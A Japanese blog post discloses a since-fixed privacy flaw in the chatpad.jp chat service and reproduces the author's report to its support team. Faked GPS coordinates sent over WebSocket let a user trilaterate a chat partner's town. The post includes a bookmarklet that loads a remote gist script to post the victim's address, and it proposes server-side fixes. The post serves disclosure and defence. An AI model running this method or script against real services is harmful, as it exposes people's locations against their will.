GPS2点間距離を使用した住所特定の脆弱性
先日、非常に珍しい、GPSつかったチャットの脆弱性を発見したので、ここに注意もかねて書いておく。 簡単に言うと、WebSocketに生で自分でGPS座標を送り、相手との距離差を何度でも取得できる脆弱性で、離れてる、近いくらいしか分からないことを前提にGPS使用を許可してる時に〜町にいる、とわかってしまうという、聞いたことない感じの珍しい脆弱性である。websocketでイベント駆動にしてるとついうっかりステート管理があやふやになりがちである。
さて、下記は脆弱性の存在したchatpad.jpのサポートに送ったメールである。
Subject: GPSを使用した機能に関する脆弱性について 初めまして。いつも楽しくChatPad使わせて頂いております。 件名の通り、GPSに関する脆弱性を発見しました。これは相手の住所が相手の意図に反し 高精度(最大で市町村程度まで)特定できてしまうというもので、重大だと思われます。 * 経緯 先日スマートフォンでChatPadに訪れた際(sp.chatpad.jp)、 相手との距離が表示される機能があることに気がつきました。 「相手との大まかな距離が表示される」とのことで、住所が表示されるわけではないので 気軽に有効にできるという意図でつけられたものだと思いますが、いくつかの実験の後、 自分の居場所に関わらず相手の住所を高精度で特定できる手法があることに気づきました。 * 具体的な手法 サーバーに複数回フェイクのGPS座標を送りつけ、得た距離から逆算し、住所を得ます。 多くの場合2回、最大で3回座標を送るだけで相手のGPS座標が特定できます。 具体的には、latitude=0、longitude=0の位置から相手の距離を得ることで、 大西洋から同距離の円周上に相手の位置があることがわかります。 同様に(0, 90)、(90, 0)からの距離をサーバーに要求すると、x, y, z全て、 すなわち相手の座標を手に入れることが出来ます。 実証コードは下記です。 https://gist.github.com/javascripter/5109633 下記ブックマークレットをブラウザで実行するとチャットに住所が書き込まれます javascript:s=document.body.appendChild(document.createElement('script'));s.charset='UTF-8';s.src="https://gist.github.com/javascripter/5109633/raw";void 0; * 対策 直接的な対策は、同じルームに対して1度しか距離を返さないようサーバーのコードを修正することです。 これによって、近くにいない人が相手の居場所を手探りに特定することが困難になります。 もう一つ間接的な対策は、相手との距離が一定以下の場合にサーバー側で ランダムに15km〜30km程度の誤差をもたせることです。これによって、 近所同士であっても相手の居場所が詳しく伝わりすぎることがなくなります。 * その他 上記に記載した脆弱性は、SQL Injectionなどの脆弱性と違いシステムにダメージを与えるものではありません。 XSSとも違い位置情報を得る以上のことはできません。 表示がkm単位であるため家が特定されるといったこともおそらくありません。 以上です。対応よろしくお願いします。
Safari系ブラウザでUAをiPhoneに詐称した状態でsp.chatpad.jpにアクセスし、ブックマークレットを実行すると住所が取得できる状態にあった(2013年3月7日の夜頃) 修正され、1度しか距離が送られないようになった。(2013年3月8日夜頃)
id:qnighyが距離から位置を計算するエレガントな手法を教えてくれた。qnighy++